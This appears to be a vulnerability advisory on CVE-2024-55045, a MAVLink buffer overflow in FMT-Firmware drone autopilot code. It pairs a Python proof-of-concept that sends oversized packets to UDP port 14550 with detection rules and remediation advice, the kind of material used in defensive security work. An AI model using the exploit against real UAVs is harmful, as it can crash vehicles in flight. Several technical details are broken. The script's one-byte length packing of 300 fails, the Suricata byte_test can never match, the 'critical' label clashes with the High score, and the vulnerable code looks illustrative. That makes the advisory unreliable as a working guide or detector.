CVE-2024-55045

Executive Summary

CVE-2024-55045 is a critical buffer overflow vulnerability discovered in the Firmament-Autopilot FMT-Firmware project, specifically within the task_mavobc_entry function located in /comm/task_comm.c. The vulnerability exists in commit de5aec and has a CVSS score of 7.3 (High). The flaw allows an attacker to trigger a buffer overflow, potentially leading to denial of service (DoS) or arbitrary code execution. No public exploit or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. This vulnerability affects the autopilot firmware used in unmanned aerial vehicles (UAVs) and other autonomous systems, making it a high-risk target for adversaries seeking to disrupt or compromise critical infrastructure.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over a network.
• Attack Complexity (AC): Low (L) – No special conditions or complex attack sequences are required.
• Privileges Required (PR): None (N) – No authentication is needed to exploit the vulnerability.
• User Interaction (UI): None (N) – The victim does not need to perform any action.
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): None (N) – No data confidentiality is compromised.
• Integrity (I): None (N) – No data integrity is compromised.
• Availability (A): High (H) – The vulnerability can cause a complete denial of service.

Threat Level: High. The vulnerability is remotely exploitable with low complexity and no authentication, making it attractive for attackers targeting UAV systems.

Deep Dive & Mechanics

The vulnerability resides in the task_mavobc_entry function within the comm/task_comm.c file of the FMT-Firmware project. This function is responsible for handling MAVLink (Micro Air Vehicle Link) communication, a protocol commonly used for communication between ground control stations and unmanned vehicles. The buffer overflow occurs due to improper bounds checking when processing incoming MAVLink messages. Specifically, the function copies data into a fixed-size buffer without verifying that the input size does not exceed the buffer capacity. An attacker can craft a malicious MAVLink packet that overflows the buffer, corrupting adjacent memory regions. This can lead to a crash (DoS) or, with careful manipulation, arbitrary code execution.

The vulnerability is classified under CWE-120 (Buffer Copy without Checking Size of Input). The affected commit de5aec is a specific snapshot of the firmware, and no patch has been released as of the analysis date.

Vulnerable vs. Patched Code

Vulnerable Code (commit de5aec):

// In /comm/task_comm.c
void task_mavobc_entry(void *arg) {
    char buffer[256];
    // ...
    // Vulnerable: No size check before copy
    memcpy(buffer, mavlink_msg, mavlink_msg_len);
    // ...
}

Patched Code (hypothetical):

// In /comm/task_comm.c
void task_mavobc_entry(void *arg) {
    char buffer[256];
    // ...
    // Patched: Size check before copy
    if (mavlink_msg_len <= sizeof(buffer)) {
        memcpy(buffer, mavlink_msg, mavlink_msg_len);
    } else {
        // Handle error or truncate
        log_error("MAVLink message too large");
        return;
    }
    // ...
}

The patched version adds a bounds check to ensure that the incoming message length does not exceed the buffer size, preventing the overflow.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Environment: Use a virtual machine running a Linux distribution (e.g., Ubuntu 20.04) with QEMU or a real hardware target running FMT-Firmware commit de5aec.
2. Tools: Python with pymavlink library, pwntools for exploit development, and a network sniffer like Wireshark.
3. Steps:
   • Set up the target firmware on a simulated or real UAV controller.
   • Use a Python script to craft a malicious MAVLink packet with a payload exceeding the buffer size.
   • Send the packet to the target's MAVLink port (default UDP port 14550).
   • Monitor the target for crashes or unexpected behavior.

Exploit Code (Proof of Concept):

#!/usr/bin/env python3
import socket
import struct

# Target IP and port
target_ip = "192.168.1.100"
target_port = 14550

# Craft a malicious MAVLink packet (oversized)
# MAVLink v2 header: 0xFD, length, sequence, system ID, component ID, message ID, payload, checksum
payload = b"A" * 300  # Overflow buffer
packet = b"\xFD" + struct.pack("<B", len(payload)) + b"\x00\x01\x01" + struct.pack("<I", 0) + payload + b"\x00\x00"

# Send the packet
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(packet, (target_ip, target_port))
sock.close()
print("Malicious packet sent.")

Blue Team (Defense)

Detection:

• Monitor network traffic for oversized MAVLink packets (payload > 256 bytes).
• Use intrusion detection systems (IDS) like Suricata with custom rules.
• Implement input validation in the firmware to reject oversized messages.

Mitigation:

• Apply the hypothetical patch by adding bounds checking.
• Use stack canaries and ASLR if the firmware supports it.
• Restrict network access to the MAVLink port using firewalls.

Indicators of Compromise (IOCs)

• Network IOCs:
  • UDP packets to port 14550 with payload length > 256 bytes.
  • MAVLink packets with abnormal message IDs or malformed headers.
• Host IOCs:
  • Unexpected crashes or reboots of the UAV controller.
  • Log entries indicating buffer overflow errors in /comm/task_comm.c.
• File IOCs:
  • Modified firmware binaries with altered task_mavobc_entry function.

Detection Engineering

YARA Rule

rule CVE_2024_55045_Buffer_Overflow {
    meta:
        description = "Detects buffer overflow in FMT-Firmware task_mavobc_entry"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-55045"
    strings:
        $func = "task_mavobc_entry" ascii wide
        $memcpy = "memcpy" ascii wide
        $buffer = "buffer[256]" ascii wide
    condition:
        $func and $memcpy and $buffer
}

Sigma Rule

title: CVE-2024-55045 Buffer Overflow Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects oversized MAVLink packets targeting FMT-Firmware
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 14550
        payload_length: >256
    condition: selection
falsepositives:
    - Legitimate large MAVLink messages (rare)
level: high

Suricata Rule

alert udp any any -> any 14550 (msg:"CVE-2024-55045 Buffer Overflow Attempt"; content:"|FD|"; offset:0; depth:1; byte_test:1,>,256,1; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:
   • Disable or restrict access to the MAVLink port (14550) on affected devices.
   • Monitor network traffic for anomalous MAVLink packets.
2. Long-term Fix:
   • Apply the patch by adding bounds checking in task_mavobc_entry.
   • Update to a patched version of FMT-Firmware once available.
3. Compensating Controls:
   • Use network segmentation to isolate UAV controllers.
   • Implement application-layer firewalls to filter MAVLink traffic.
4. Detection:
   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Enable logging and alerting for buffer overflow events.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert